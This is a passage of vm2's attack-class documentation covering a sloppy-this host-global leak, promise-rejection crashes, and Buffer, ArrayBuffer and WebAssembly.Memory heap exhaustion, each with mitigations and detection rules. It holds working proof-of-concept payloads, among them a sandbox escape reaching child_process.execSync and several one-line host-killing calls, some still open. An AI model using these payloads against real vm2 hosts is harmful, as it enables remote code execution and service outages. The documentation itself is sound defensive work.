An embedder exposes an ordinary sloppy-mode (non-strict) host function to the sandbox β€” the normal vm2 use case (new VM({sandbox: {greet: function(){…}}}), or any function built with the Function constructor, which is sloppy regardless of the surrounding module's strictness). Sandbox code invokes it with a nullish receiver: a bare call greet(), greet.call(null), greet.apply(undefined), Reflect.apply(greet, undefined, []), or greet.bind(null)().

vm2's apply trap forwards the call with context = otherFromThis(context), which leaves a nullish receiver nullish, then otherReflectApply(object, undefined, args). V8's OrdinaryCallBindThis (ECMA-262 10.2.1.2) then substitutes the host realm's global object for a sloppy function's this. Whatever the function does with this β€” return it, return globalThis, or stash it into a passed-in sandbox object/array β€” surfaces a reference to the host global, which an unguarded bridge wraps and delivers into the sandbox. The sandbox then reaches this.process.getBuiltinModule('child_process').execSync(…) = host RCE.

Sandbox→host direction only (isHost === false). Strict / ESM host functions are unaffected: their this stays undefined and never touches the global.

Attack Flow

  1. Embedder exposes a plain sloppy host function greet on the sandbox.
  2. Sandbox calls it with no receiver: const g = greet();.
  3. Apply trap runs otherReflectApply(greet, undefined, []); V8 binds this = host global.
  4. greet returns/leaks the host global; without the guard the bridge wraps it in a proxy and returns it to the sandbox.
  5. g.process.getBuiltinModule('child_process').execSync('…') executes in the host.

Canonical Examples

js
const {VM} = require('vm2');
const greet = Function('return this;');   // sloppy β€” this === host global when called bare
new VM({sandbox: {greet}}).run(`
  const g = greet();                      // undefined once the guard is in place
  g.process.getBuiltinModule('child_process').execSync('id').toString();
`);

Also leaks via a stashed this: Function('o','o.g=this;return o;') called as keep(s) on a sandbox object s leaves the host global at s.g; via an explicit return globalThis; and via a host function passing its global-this as an argument to a sandbox callback.

Why It Works

The substitution happens inside V8's C++ call machinery, not in JS the bridge instruments. The apply trap correctly forwards a nullish this as nullish (that is the spec-correct receiver for the call), so nothing at the call site is wrong β€” the leak is at the return/delivery site, where the bridge wraps the resulting host global like any other host object. Defense Invariant #1 (no host-realm object reaches sandbox code unwrapped) is violated for the one host object the sandbox can conjure without ever holding a reference to it: the global.

Mitigation

Close the class at the host→sandbox delivery chokepoint, not the individual call shapes. The host realm's global object is cached at bridge init (thisRealmGlobal = global, published as result.global, read by the other bridge as otherGlobal; global — not globalThis — for Node 8 compatibility). The three read-side coercion functions in lib/bridge.js — thisFromOtherWithFactory (primary: covers apply-trap return, get-trap reads, argument coercion, set-into-sandbox-object value coercion, and callback arguments), thisEnsureThis (re-entry / this-coercion / catch bindings), and thisFromOtherForThrow (throw path) — each refuse to wrap the host global: if (!isHost && other === otherGlobal) return undefined;, placed before the mappingOtherToThis cache lookup so a stale cache entry cannot re-deliver it. Restores Defense Invariant #1.

Returning undefined (not a proxy sentinel like emptyFrozenObject) makes a sloppy function's global-this observable to the sandbox exactly as a strict function's this already is. This is why denying delivery of the global is chosen over receiver-neutralization (substituting a safe host receiver before otherReflectApply): the latter would change a strict function's this from undefined to that object, and strict-vs-sloppy cannot be detected synchronously. A single object-identity compare, no new host closure handed to the sandbox, preserves the strict-mode control and covers every delivery path at one place.

Detection Rules

  • A sandbox-side host-value coercion path (thisFromOther* / ensureThis) that wraps and returns a host-realm object without an identity check against the host global.
  • Any apply-trap forwarding that passes a nullish this to a host function whose strictness is unknown, where the return value is then wrapped for the sandbox.
  • Sandbox source that calls an exposed host function bare or with .call(null) / .apply(undefined) / Reflect.apply(fn, undefined, …) and then reads .process / .require / .global off the result.

Known Residual

The guard is a pinpoint identity check on the host global β€” correct and complete for V8's sloppy-this substitution, which uses the exact global object β€” not a capability check. A host function that hands back something derived from the global with a different identity still leaks: return this.process (a sub-property), return {...this} / Object.assign({}, this) (a shallow copy β€” carries process as an own-enumerable on Node ≀ 10), return new Proxy(this, {}), or a global obtained from another realm (vm.runInNewContext('this', {process})). Every one of these requires the embedder to author code that copies/wraps/injects from the sloppy this β€” equivalent to putting process in the sandbox directly β€” and none is reachable from an innocent exposed function(){} (the vulnerability class), which returns the global's exact identity and is blocked. This becomes a bug the moment an embedder exposes a host function that returns or stores a value derived from its sloppy this (return this.process, a shallow copy, a wrapping proxy): the sandbox then holds that derived host value, which is indistinguishable from the embedder having exposed it directly. Closing that shape would require receiver substitution, which cannot be adopted without solving strict-mode detection first (it would change a strict function's this from undefined to a sentinel and break the strict-this control).


Attacks Host Resources (`docs/attacks/host-resources.md`)

Host Resources

Host memory, heap and process lifetime: unbounded allocation, unhandled rejections that kill the host process, shared buffer pool disclosure, and callbacks that outlive timeout. No defense invariant covers this family yet; each guarantee is stated inside its Mitigation section (see the design spec, section 8).

Categories in this file: 22, 23, 36, 41, 42.


Attack Category 22: Promise Executor Unhandled Rejection β€” Host Process DoS

Advisories: GHSA-hw58-p9xv-2mjh, GHSA-gjq8-xm47-88rc, GHSA-2v2p-6j97-cjg9

Tests: test/ghsa/GHSA-hw58-p9xv-2mjh/, test/ghsa/GHSA-gjq8-xm47-88rc/, test/ghsa/GHSA-2v2p-6j97-cjg9/

Description

Sandbox code constructs a Promise whose executor synchronously triggers a host-realm error. The canonical primitive is e.name = Symbol(); e.stack β€” V8's internal FormatStackTrace runs while it's still inside the executor and coerces the Symbol-named name to a string, throwing a host-realm TypeError. Because no .catch() is attached, the rejection propagates as an unhandled rejection to the host process. Node 15+ default behaviour terminates the process on any unhandled rejection. A single ~150-byte sandbox payload crashes the entire host service serving all users.

allowAsync: false makes the situation worse: the sandbox-side .catch is blocked, so any rejection from the executor is guaranteed to be unhandled β€” there is no path for sandbox code to consume it.

This is purely a denial-of-service primitive (no host code execution), but the impact is severe in production: under container orchestration with restart policies (Docker, Kubernetes, PM2), a repeating attacker request can crash the process faster than it can come back, creating a continuous service-unavailable loop.

Attack Flow

  1. Sandbox calls new Promise(executor).
  2. Inside the executor, sandbox constructs an Error with a Symbol-named .name and accesses .stack β€” V8's stack formatter throws a host TypeError synchronously.
  3. The Promise constructor's spec-mandated executor try/catch catches the throw and sets the Promise to rejected with the raw host TypeError.
  4. No .catch() is attached.
  5. After microtask drain, host fires unhandledRejection with the raw host TypeError.
  6. Node 15+ default behaviour: terminate the host process.

Canonical Example

javascript
// (advisory GHSA-hw58-p9xv-2mjh)
new VM({ allowAsync: false }).run(`
  new Promise(function(r, j) {
    var e = new Error();
    e.name = Symbol();
    e.stack;  // V8 stack formatter throws host TypeError here
  });
`);
// Host process dies on next microtask tick.

Why It Works

The vm2 sandbox-side globalPromise.prototype.then/catch overrides do sanitise rejection callback values via handleException, but they only fire when sandbox code attaches a .then/.catch. The PoC attaches neither. The Promise's rejection path bypasses every sanitisation layer the sandbox has, lands directly in V8's microtask queue, and propagates to the host's unhandledRejection event with the original host-realm error.

Mitigation

localPromise (the sandbox's Promise replacement, declared in lib/setup-sandbox.js) is given a constructor that does two things:

  1. Wraps the user-supplied executor in try/catch. Any synchronous throw β€” including V8-internal throws produced inside the executor by FormatStackTrace β€” is caught and routed through handleException (the existing SuppressedError/AggregateError-recursive sanitiser), then rejected. A sandbox-side .catch() handler will see a sandbox-realm value rather than a raw host TypeError.
  2. Attaches a benign swallow tail (then(undefined, noop)) to every sandbox-constructed Promise. Even when no user .catch() is attached, this internal handler consumes the rejection so the host's unhandledRejection event never fires. The tail uses the cached host then (captured before vm2's then override is installed) to avoid recursing through the sandbox's own override; a re-entrancy flag (localPromiseInSwallowTail) prevents the species-protocol from constructing infinitely many swallow-wrapped Promises.

The fix preserves the native semantics for non-callable executors (new Promise(undefined) still throws TypeError synchronously) and does not affect the resolved-path .then(onFulfilled) chain.

Detection Rules

  • new Promise((r, j) => { ... }) with executor body that triggers V8-internal throws (Symbol-named errors, stack-trace formatting issues, recursive proxy traps).
  • allowAsync: false combined with any Promise construction β€” this mode blocks the sandbox-side .catch, which would otherwise guarantee an unhandled rejection; localPromise's swallow tail consumes the rejection regardless, so both modes are equally safe.
  • Hostile patterns: new Promise(() => { throw hostError; }), Promise.reject(hostError) without .catch(), async function bodies that throw without try/catch.

Known Residual β€” async function / async generator / `await using`

Status: open as of v3.12.0 on Node v26.7.0, under the default allowAsync: true, for any async function or async generator whose body rejects. Variants 1b, 1c and 2 below each terminate the host process: run() returns normally, then unhandledRejection fires with a sandbox-realm Error. Under allowAsync: false none of the async payloads run β€” the transformer flags async syntax (hasAsync) and checkAsync throws VMError('Async not available') before execution. The two await using payloads are inert in every mode, but for two different reasons. Payload 3 is rejected by V8, which does not allow top-level await in a script (at new Script (node:vm:118:7)); the transformer never even parses it, because the keyword fast path returns any source without catch/import/async/with unchanged. Payload 3b is the one the parser pin holds shut: it contains async, so acorn at the pinned ecmaVersion: 2022 parses it and fails on the using declaration, while V8 and acorn at latest both accept it β€” so raising that parser version puts 3b back in scope, not 3. Variant 1 as originally written does not reject at all: reading .stack on a Symbol-named error does not throw inside the sandbox, so the body completes normally.

javascript
// 1. async function with Symbol-named Error.stack β€” does not reject on Node v26.7.0
new VM({ allowAsync: true }).run(`(async function(){
  var e = new Error(); e.name = Symbol(); e.stack;
})();`);

// 1b. OPEN β€” any async function body that rejects kills the host
new VM({ allowAsync: true }).run(`(async function(){
  throw new Error('boom');
})();`);

// 1c. OPEN β€” same, carrying the Symbol-named error as the rejection reason
new VM({ allowAsync: true }).run(`(async function(){
  var e = new Error(); e.name = Symbol(); e.stack; throw e;
})();`);

// 2. OPEN β€” async generator throw on .next()
new VM({ allowAsync: true }).run(`(async function*(){
  throw new Error('boom');
})().next();`);

// 3. AsyncDisposableStack with throwing Symbol.asyncDispose β€” SyntaxError from
//    V8: top-level `await` is not allowed in a script. The transformer never
//    parses this source at all (no catch/import/async/with keyword => fast path).
new VM({ allowAsync: true }).run(`
  await using x = { [Symbol.asyncDispose]() { throw Symbol() } };
`);

// 3b. the same inside an async function, so top-level await is not the blocker.
//     V8 accepts this; the SyntaxError comes from the transformer's acorn pin
//     (ecmaVersion 2022), which cannot parse the `using` declaration.
new VM({ allowAsync: true }).run(`(async function(){
  await using x = { [Symbol.asyncDispose]() { throw Symbol() } };
})();`);

V8 creates the rejection promises for async function, async function*, and await using machinery via the realm's intrinsic Promise (globalPromise) β€” not via localPromise. The localPromise extends globalPromise constructor and its swallow tail are therefore bypassed entirely. Closing this from inside vm2 requires either (a) a process-level unhandledRejection handler scoped to sandbox-realm errors, or (b) rebinding the realm's %Promise% intrinsic. Both approaches change observable host behaviour and are still deferred as of v3.12.0.

Recommended mitigation for embedders: install a host-side process.on('unhandledRejection', ...) handler that filters or swallows sandbox-originated rejections. See README "Hardening recommendations" for code patterns.

An it.skip-marked block in test/ghsa/GHSA-hw58-p9xv-2mjh/repro.js pins the three originally-reported variants (1, 2, 3) so the gap stays visible to maintainers. Those pins are stale on two counts: each specifies allowAsync: false, under which no payload runs, and of the three only the async-generator variant still reproduces β€” the async-function pin uses the non-rejecting form 1 rather than 1b/1c, and the await using pin (payload 3) never reaches the sandbox because V8 rejects top-level await in a script. They need rewriting against the forms above, as forked-child tests, before any of them can be un-skipped.

Re-verified 2026-09-02 on Node v26.7.0.

Considered Attack Surfaces

  • Promise.reject(hostError) directly: routes through localPromise (because Promise.reject delegates to new this(...)) and gains the swallow tail. Covered.
  • Silent-failure trade-off: sandbox developers cannot use Node's host-side unhandledRejection log to surface their own debug rejections. They must explicitly attach .catch() for visibility. Acceptable trade-off given the DoS severity; documented for users.

Sibling — ignored host-promise rejection (host→sandbox direction) — GHSA-gjq8-xm47-88rc, GHSA-2v2p-6j97-cjg9

Category 22 and its parent GHSA-hw58 close the sandbox→host direction: a promise constructed in the sandbox that rejects with no handler. Before GHSA-gjq8-xm47-88rc the mirror-image direction was open; markHostPromiseHandled now closes it. When an embedder-exposed host function — or a host builtin such as events.once(emitter, name) — returns a host-realm rejected Promise, the bridge apply trap wraps it and hands the sandbox a proxied promise, but the underlying host promise has no rejection reaction of its own. If sandbox code merely calls the function and ignores the result, Node's default unhandledRejection policy (Node 15+) sees the raw host promise reject with no handler and terminates the host process:

js
const vm = new VM({ sandbox: { hostReject: () => Promise.reject(new Error('boom')) } });
vm.run('hostReject(); 1');   // host process aborts on Node 15+

Why the Category 22 defenses do not cover it: the swallow tail lives on localPromise (the sandbox Promise). A host promise returned across the bridge is never constructed through localPromise, so it never gains a tail. The GHSA-55hx apply-trap sanitizer only fires when the sandbox actively calls .then/.catch/.finally on the host promise β€” the PoC calls neither. The host promise's rejection therefore reaches V8's microtask queue with no reaction attached.

Mitigation (fix): in the bridge apply trap, whenever a host function invoked from the sandbox (isHost === false) returns a value, markHostPromiseHandled(ret) attaches a benign no-op reaction β€” otherReflectApply(otherPromiseThen, ret, [noop, noop]) β€” to the underlying host promise on the host side, using the cached host Promise.prototype.then. This marks the host promise "handled" for Node's bookkeeping. Key properties:

  • No suppression for the sandbox. Promises multicast: the sandbox's own .then/.catch reaction (routed through the GHSA-55hx sanitizer) still fires and still observes the sanitized, sandbox-realm rejection value independently of the no-op.
  • No new unhandled rejection. The no-op onRejected returns undefined, so the derived promise from .then(noop, noop) fulfills β€” it never itself becomes unhandled.
  • No leak. The no-op never touches the rejection value; no raw host error or host promise reaches the sandbox through this path. Sanitization is still owned by GHSA-55hx / handleException.
  • Non-promises are inert. The built-in then requires the [[PromiseState]] internal slot and throws on anything else; the call is wrapped in try/catch, so fulfilled promises and non-promise return values are untouched.

Detection rule: a host function crossing the bridge that returns a promise the sandbox does not chain on.

Regression coverage: test/ghsa/GHSA-gjq8-xm47-88rc/ (forked-child survival for hostReject / host async fn / events.once; in-process delivery of the sanitized rejection and of fulfilled promises).

Every other delivery route β€” GHSA-2v2p-6j97-cjg9

The apply return value is only one of the ways a host promise reaches the sandbox. Before GHSA-2v2p-6j97-cjg9 the other routes were all still bare, and each one kills the host exactly as the parent PoC does:

  • construct trap. A host constructor's body may return an object, which overrides this. BaseHandler.construct wrapped that value with thisFromOtherWithFactory and never marked it. Reached through new and through Reflect.construct, and equally with a promise that rejects on a later tick.
  • get trap. A host accessor that mints a fresh rejected promise per read: the sandbox reads the property once and drops the value.
  • Callback arguments. A host function that hands a rejected host promise to a sandbox callback β€” the promise is an argument, so it never transits an apply return.
javascript
// (advisory GHSA-2v2p-6j97-cjg9)
function HostRejectCtor() { return Promise.reject(new Error('ctor-boom')); }
new VM({ sandbox: { HostRejectCtor } }).run('new HostRejectCtor(); 1');
// Host process aborts on the next microtask drain β€” the sandbox never touched
// the value. Same outcome for `Reflect.construct(HostRejectCtor, [])`, for a
// host getter returning `Promise.reject(...)`, and for a rejected host promise
// passed as an argument to a sandbox callback.

Why it works: GHSA-gjq8's mitigation is bound to one trap. Marking per return path is a specific fix: it closes the route in the PoC and leaves every sibling route open, because the property that actually matters is about delivery, not about calls.

Mitigation: the mark moves to the hostβ†’sandbox delivery chokepoint. thisProxyOther in lib/bridge.js is the single function that gives a host object its sandbox proxy β€” apply and construct returns, get/descriptor values, callback arguments and iterator yields all funnel through it via thisFromOtherWithFactory / thisEnsureThis / thisFromOtherForThrow. Its !isHost delivery block (which already marks host prototypes for GHSA-88hf-g992-jg85) now also calls markHostPromiseHandled(other) when isOtherPromise(other) holds. This restores the invariant every host promise delivered into the sandbox carries a benign rejection reaction before sandbox code can ignore it β€” the hostβ†’sandbox half of Defense Invariant #2 ("paths that bypass JS-level catch instrumentation … host-realm Promise.then rejection … are closed at the bridge"). Properties:

  • One mark per host object. thisProxyOther runs on the first crossing only; later deliveries hit the mappingOtherToThis cache, already marked. A promise that rejects long after it crossed is covered, because the reaction is attached at crossing time.
  • No throw/catch per delivered object. isOtherPromise is a brand check: it walks the other realm's prototype chain to the cached host Promise.prototype (otherPromisePrototype, captured at bridge init next to otherPromiseThen). Nothing is invoked on the value, so a non-promise host object costs a short prototype walk instead of a thrown TypeError. Object.prototype.toString is deliberately not used as the brand: it reads Symbol.toStringTag, which fires host get traps β€” a host Proxy whose get trap mints a fresh rejected promise would be crashed by the brand check itself. The walk is capped at 100 links so an embedder-authored Proxy chain that regenerates its own prototype cannot spin it.
  • Second host realms are covered. A promise minted in another host realm (vm.runInNewContext, nested contextify) matches no cached identity, so a chain that terminates at a non-null object which is not the cached host Object.prototype is treated as a possible promise and handed to markHostPromiseHandled. The built-in Promise.prototype.then brand-checks the [[PromiseState]] slot, which is realm-independent, so a foreign-realm promise gets marked and a foreign-realm non-promise or thenable never has its own then invoked. Same-realm and null-prototype objects terminate before that branch, so the hot path keeps its no-throw property.
  • The call traps keep their unconditional mark. apply keeps the GHSA-gjq8 call and construct gains the matching one, both after stripDangerousSymbolsFromHostResult. They are not redundant: a host promise whose prototype chain the host detached (Object.setPrototypeOf(p, null)) is invisible to the brand check but still tracked by V8, and markHostPromiseHandled's [[PromiseState]]-slot try/catch handles it. Once per call, this costs nothing on the hot delivery path.
  • Nothing else changes. As with GHSA-gjq8: promises multicast, so a sandbox .then/.catch still observes the sanitized rejection; the no-op onRejected returns undefined, so the derived promise fulfills; fulfilled promises, non-promise constructor returns, and prototype-carrying host instances are untouched.

Detection rules:

  • Any hostβ†’sandbox delivery path β€” a constructor return, an accessor, a callback argument, an iterator yield β€” that can carry a host promise the sandbox is free to ignore.
  • A fix expressed per trap rather than at thisProxyOther: assume the sibling traps are open until each is covered.
  • Embedder shapes that hand promises out without a call: Object.defineProperty(hostObj, 'ready', {get() { return doAsync(); }}), factory constructors returning fetch-style promises, host emitters passing a pending promise to a sandbox listener.

Known residual: the brand check depends on the walk reaching a recognisable terminus, so any host-side chain manipulation that stops it early defeats it β€” a detached prototype (Object.setPrototypeOf(Promise.reject(x), null)), a Proxy prototype whose getPrototypeOf throws, a chain longer than the 100-link cap. Delivered through a non-call route, such a promise is recognized by neither layer (through a call it still is, because apply / construct mark unconditionally). The sandbox has no lever on any of this: there is no Proxy in the sandbox realm, so no getPrototypeOf trap can be mounted, and Object.setPrototypeOf / __proto__ = / Reflect.setPrototypeOf on a host object are all refused with VMError. Every one of these shapes has to be built by the embedder.

Regression coverage: test/ghsa/GHSA-2v2p-6j97-cjg9/ (forked-child survival under --unhandled-rejections=strict for the constructor, late-rejecting, class + new, class + Reflect.construct, prototype-detached, getter and callback-argument routes, plus a cross-realm promise through a getter, a data property and a callback argument; in-process controls for the sanitized rejection through the construct and getter routes, non-promise and fulfilled constructor returns, prototype methods, and a late .catch).


Attack Category 23: Unbounded `Buffer.alloc(N)` β€” Host Heap DoS

Advisories: GHSA-6785-pvv7-mvg7, GHSA-gmc2-2x9w-cgh9, GHSA-v836-6xw4-9cx3

Tests: test/ghsa/GHSA-6785-pvv7-mvg7/, test/ghsa/GHSA-gmc2-2x9w-cgh9/, test/ghsa/GHSA-v836-6xw4-9cx3/

Description

Buffer.alloc(N), Buffer.allocUnsafe(N), Buffer.allocUnsafeSlow(N), and the deprecated Buffer(N) / new Buffer(N) forms all execute as a single synchronous host C++ allocation. V8's timeout mechanism is an interrupt watchdog that runs between bytecodes, so it cannot preempt a single native allocation that is already in flight. An attacker controlling the size argument can therefore amplify a small (≀ 200-byte) sandbox payload into a hundreds-of-megabyte host RSS jump in a single call, bypassing the configured timeout entirely. In memory-constrained environments (Docker memory limits, Kubernetes pods, AWS Lambda) this exceeds the container memory budget and triggers FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory, killing the host process. CVSS reported as High (DoS).

Attack Flow

  1. Attacker submits a small request that runs sandbox code containing Buffer.alloc(LARGE_N) (or any of its variants above).
  2. The sandbox-side Buffer.alloc is exposed by vm2 via the bridge; the call routes through BaseHandler.apply to host Buffer.alloc.
  3. Host Buffer.alloc(LARGE_N) runs synchronously in C++; V8's timeout cannot interrupt it.
  4. RSS jumps by LARGE_N bytes; if LARGE_N exceeds the container's available memory, the process OOMs.

Canonical Example

javascript
// (advisory GHSA-6785-pvv7-mvg7)
new VM({ timeout: 5000 }).run(`Buffer.alloc(1024*1024*100).length`);
// Returns 104857600. RSS jumps ~770 MB. timeout: 5000 has no effect β€” the
// allocation completes in one synchronous C++ call.

Why It Works

vm2's primary DoS guard is the timeout option, which uses Node's vm.runInContext interrupt mechanism. That mechanism only fires between bytecodes, so any single host call that runs entirely in native code (allocation, regex matching with catastrophic backtracking, sync filesystem syscalls, etc.) bypasses it. The Buffer.alloc family is the most weaponizable example: small input, predictable amplification, deterministic crash on memory-constrained hosts.

Mitigation

New bufferAllocLimit option on the VM (and inheriting NodeVM) constructor, default Infinity (no cap, preserves prior behaviour for non-breaking semver). Callers who care about the DoS class opt in with a finite byte count (e.g. bufferAllocLimit: 32 * 1024 * 1024). The option is plumbed from the host into setup-sandbox.js via the existing data channel and captured into a closure-scoped const so sandbox-side prototype pollution cannot mutate it. Every entry point to host Buffer allocation is wrapped:

  • Buffer.alloc(size, fill, encoding) β€” sandbox-side wrapper checks size, then delegates to the cached host allocator via Reflect.apply. Registered with connect() so the bridge surfaces this wrapper as the canonical sandbox Buffer.alloc.
  • Buffer.allocUnsafe(size) / Buffer.allocUnsafeSlow(size) β€” same pattern, defense-in-depth (also covered transitively because they delegate to the now-capped Buffer.alloc).
  • Deprecated Buffer(N) / new Buffer(N) β€” BufferHandler.apply / construct traps already special-case numeric first arg; the cap is added there too.
  • Buffer.concat(list, totalLength) (added GHSA-gmc2-2x9w-cgh9) β€” caps totalLength when supplied, or the summed list[i].length when omitted, before delegating to host (which would otherwise call Buffer.allocUnsafe(totalLength) internally, bypassing the alloc wrapper).
  • Buffer.from(value [, encoding | offset, length]) (added GHSA-gmc2-2x9w-cgh9) β€” caps value.length for object-typed inputs (closes the {length: N} array-like DoS path) but excludes TypedArray/DataView/Buffer copies (they have both .byteLength and .buffer, and the source is already sandbox-allocated). Also caps the explicit length third argument used in the ArrayBuffer overload.
  • Buffer.copyBytesFrom(view, offset, length) (added GHSA-gmc2-2x9w-cgh9, Node 22+) β€” caps length when supplied, or view.byteLength - offset when omitted. Probed at module load (typeof host.Buffer.copyBytesFrom === 'function') so older Node versions don't crash.

Fail-closed gate (added GHSA-gmc2-2x9w-cgh9). At sandbox setup the wrapper enumerates host.Buffer's own keys against an explicit allowlist (BUFFER_STATIC_CLASSIFIED: the six capped factories above plus the non-allocating inspectors byteLength / compare / isBuffer / isEncoding / of). Any function-valued key not on the allowlist is connect()'d to a throwing stub that names the missing key and this advisory. A future Node release that ships a new Buffer.* allocator therefore cannot reach the host C++ allocator from sandbox code unless a maintainer explicitly classifies the new method β€” the maintainer-facing failure mode flips from "silent uncapped path" to "explicit throw at first sandbox call". This is the structural piece: the invariant survives "the maintainer forgot to add a wrapper".

Oversized requests throw RangeError('Buffer allocation size N exceeds bufferAllocLimit M') synchronously with no host allocation β€” RSS delta drops from hundreds of megabytes to ~2 MB (just the error object).

The default Infinity keeps 3.10.6 fully backwards-compatible β€” no existing workload encounters a new RangeError. Callers who care about the DoS class set bufferAllocLimit to a finite number; 32 MiB is a reasonable starting point (generous for legitimate workloads such as image processing, JSON parsing, CSV transformation, which typically stay under 16 MiB per buffer, but tiny compared to typical container memory budgets of 256 MB – 1 GB). A future major release may flip the default to a finite value.

Detection Rules

  • Buffer.alloc(N) / Buffer.allocUnsafe(N) / Buffer.allocUnsafeSlow(N) with attacker-controlled N inside sandbox code.
  • Buffer(N) / new Buffer(N) β€” deprecated forms still work and are equivalent.
  • Buffer.concat(list, totalLength) with attacker-controlled totalLength (or sandbox-controllable sum of list[i].length).
  • Buffer.from({length: N}) β€” array-like with fake numeric length triggers host's fromArrayLike(N) allocator.
  • Buffer.from(largeArray) β€” real array of size N allocates N host bytes (1Γ— amplification but cap still applies).
  • Buffer.copyBytesFrom(view, offset, length) (Node 22+) with attacker-controlled length or large view.

Canonical Bypass Example (GHSA-gmc2-2x9w-cgh9)

javascript
// All three bypass the pre-fix bufferAllocLimit cap by reaching the host
// C++ allocator without traversing the sandbox-side allocUnsafe wrapper.
new VM({ bufferAllocLimit: 32*1024*1024 }).run(
    'Buffer.concat([Buffer.from("a")], 50 * 1024 * 1024)'   // 50 MB allocated
);
new VM({ bufferAllocLimit: 32*1024*1024 }).run(
    'Buffer.from({length: 8 * 1024 * 1024})'                // 8 MB allocated
);

Considered Attack Surfaces

  • new Uint8Array(N), new ArrayBuffer(N), new SharedArrayBuffer(N) and other typed-array constructors: same primitive class β€” synchronous native allocation by attacker-controlled size. Category 36 (GHSA-v836-6xw4-9cx3) caps these: it wraps every ArrayBuffer / SharedArrayBuffer / TypedArray / WebAssembly.Memory constructor with the same bufferAllocLimit cap when a finite limit is configured.
  • String.prototype.repeat(N): produces a sandbox-realm string of size len * N bytes, similar primitive. Not capped here.
  • Repeated allocations under the cap (e.g., 32 Γ— Buffer.alloc(32 MiB)): an aggregate per-run budget would close this but would require tracking allocation totals across the bridge. Out of scope for the canonical advisory.
  • WebAssembly memory.grow: governed by wasm maximum declaration at instantiation; not currently wrapped.

The fix closes the canonical reported DoS (Buffer.alloc family + concat + from + copyBytesFrom) and the fail-closed gate ensures future Buffer.* additions are caught at sandbox-init time rather than only by the next reported advisory.


Attack Category 36: `bufferAllocLimit` Bypass via ArrayBuffer / TypedArray / WebAssembly.Memory

Advisories: GHSA-6785-pvv7-mvg7, GHSA-v836-6xw4-9cx3

Tests: test/ghsa/GHSA-6785-pvv7-mvg7/, test/ghsa/GHSA-v836-6xw4-9cx3/ (GHSA-v836-6xw4-9cx3/repro.js β€” 40 cases: per-constructor caps, constructor-walk recovery, resizable/growable, WebAssembly.Memory, coercion variants (string / valueOf / Symbol.toPrimitive / array-like), TOCTOU canonicalization, the documented residual, NodeVM forwarding, and non-breaking default behaviour)

Supersedes: completes the "tracked for follow-up" residual of Category 23: Unbounded Buffer.alloc(N) β€” Host Heap DoS.

Description

The bufferAllocLimit cap introduced for Category 23 (GHSA-6785-pvv7-mvg7) only wrapped the Buffer.* family. ArrayBuffer, SharedArrayBuffer, and every TypedArray constructor (Uint8Array, Float64Array, …) allocate host backing-store memory through the same synchronous, timeout-immune V8 C++ path (ArrayBuffer::NewBackingStore β†’ ArrayBufferAllocator::Allocate β†’ calloc). WebAssembly.Memory is the same primitive in 64 KiB pages. None were subject to the cap, so an operator who set bufferAllocLimit believing they had DoS protection was fully bypassable: new ArrayBuffer(1<<30) allocates 1 GB in one uninterruptible call. CVSS reported as High (DoS). CWE-770.

Attack Flow

  1. Operator configures new VM({ bufferAllocLimit: 10 * 1024 * 1024 }).
  2. Buffer.alloc(20 MB) is correctly blocked.
  3. Sandbox substitutes new ArrayBuffer(1024*1024*1024) (or new Uint8Array(...), new SharedArrayBuffer(...), new WebAssembly.Memory({initial: N})) β€” none routed through checkBufferAllocLimit β†’ host RSS jumps by the full size β†’ OOM in memory-constrained environments.

Canonical Example

javascript
// (advisory GHSA-v836-6xw4-9cx3)
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 });
vm.run('new ArrayBuffer(1024 * 1024 * 1024)');       // pre-fix: 1 GB allocated
vm.run('new Uint8Array(1024 * 1024 * 1024)');         // pre-fix: 1 GB allocated
vm.run('new WebAssembly.Memory({ initial: 16384 })'); // pre-fix: 1 GB allocated

Why It Works

Same root cause as Category 23: timeout only fires between bytecodes and cannot preempt a single native allocation. The Category 23 fix was specific (Buffer family) rather than structural (all sandbox-reachable backing-store allocators), leaving sibling intrinsics open.

Mitigation

When a finite bufferAllocLimit is configured, setup-sandbox.js (installAllocationCaps) replaces each sandbox-realm allocation constructor with a construct-trapping Proxy that runs checkBufferAllocLimit on the requested byte count before the native allocation. Covered: ArrayBuffer, SharedArrayBuffer, all twelve TypedArray constructors (feature-gated for Float16Array / BigInt64Array), and WebAssembly.Memory (initial at construction + cumulative grow()). Two robustness properties, both found necessary during red-team (/hacker):

  • Coercion-faithful (ToIndex parity): the natives size their allocation via ToIndex (ToNumber first), so the cap measures the coerced magnitude (coerceAllocMagnitude). A length supplied as a string ("1073741824"), an object with valueOf / Symbol.toPrimitive, or an array-like {length: N} is measured, not waved through. Resizable buffers are capped on max(length, maxByteLength).
  • TOCTOU-safe (single-read canonicalization): every object-valued size input is read exactly once, and the construct trap hands the native constructor the already-coerced primitive, so a toggling accessor ({get maxByteLength(){ return t++ ? BIG : 8 }}) cannot read small at check-time and large at allocation-time. Pinning maxByteLength this way also closes the otherwise-uncapped .resize() / .grow() follow-up.

The original uncapped intrinsic cannot be recovered via a constructor walk: each prototype.constructor back-reference is pinned to the wrapping proxy, so new Uint8Array(0).buffer.constructor, ArrayBuffer.prototype.constructor, and species-derived construction all route through the cap. The proxy forwards prototype, [Symbol.species], and [[Prototype]], so instanceof, slice/map/subarray, and subclassing keep working.

Default bufferAllocLimit: Infinity leaves the native intrinsics completely untouched β€” zero behavioural or identity change for embedders who have not opted in (matches Category 23's non-breaking, opt-in semantics). This is a sandbox-side DoS mitigation only: the proxies wrap sandbox-realm intrinsics, expose no host object, and introduce no escape surface (verified β€” new Uint8Array(0).constructor.constructor === Function resolves to the sandbox realm).

Detection Rules

  • new ArrayBuffer(N) / new SharedArrayBuffer(N) with attacker-controlled N, including string / valueOf / Symbol.toPrimitive / {maxByteLength} forms.
  • new <TypedArray>(N) numeric length or new <TypedArray>({length: N}) array-like amplifier.
  • new WebAssembly.Memory({initial: N}) and memory.grow(N).

Known Residual

A non-iterable array-like whose length is a toggling accessor (new Uint8Array({get length(){ return t++ ? BIG : 0 }})) can still over-allocate: V8 reads an array-like's length itself, and pinning that read would require Proxy-wrapping the source β€” which would break the legitimate new Uint8Array(buffer, offset, length) view path (a correctness regression). The common data-property {length: N} amplifier is capped. The identical gap exists in the shipped Buffer.from({length: N}) cap (Category 23). Accepted and asserted in test/ghsa/GHSA-v836-6xw4-9cx3/repro.js so any future change is visible. String.prototype.repeat(N) and aggregate per-run budgets remain out of scope, as in Category 23.


Attack Category 41: Shared Buffer Pool Discloses / Corrupts Host Memory

Advisories: GHSA-fcqc-726x-5wfc, GHSA-489w-w794-jq94

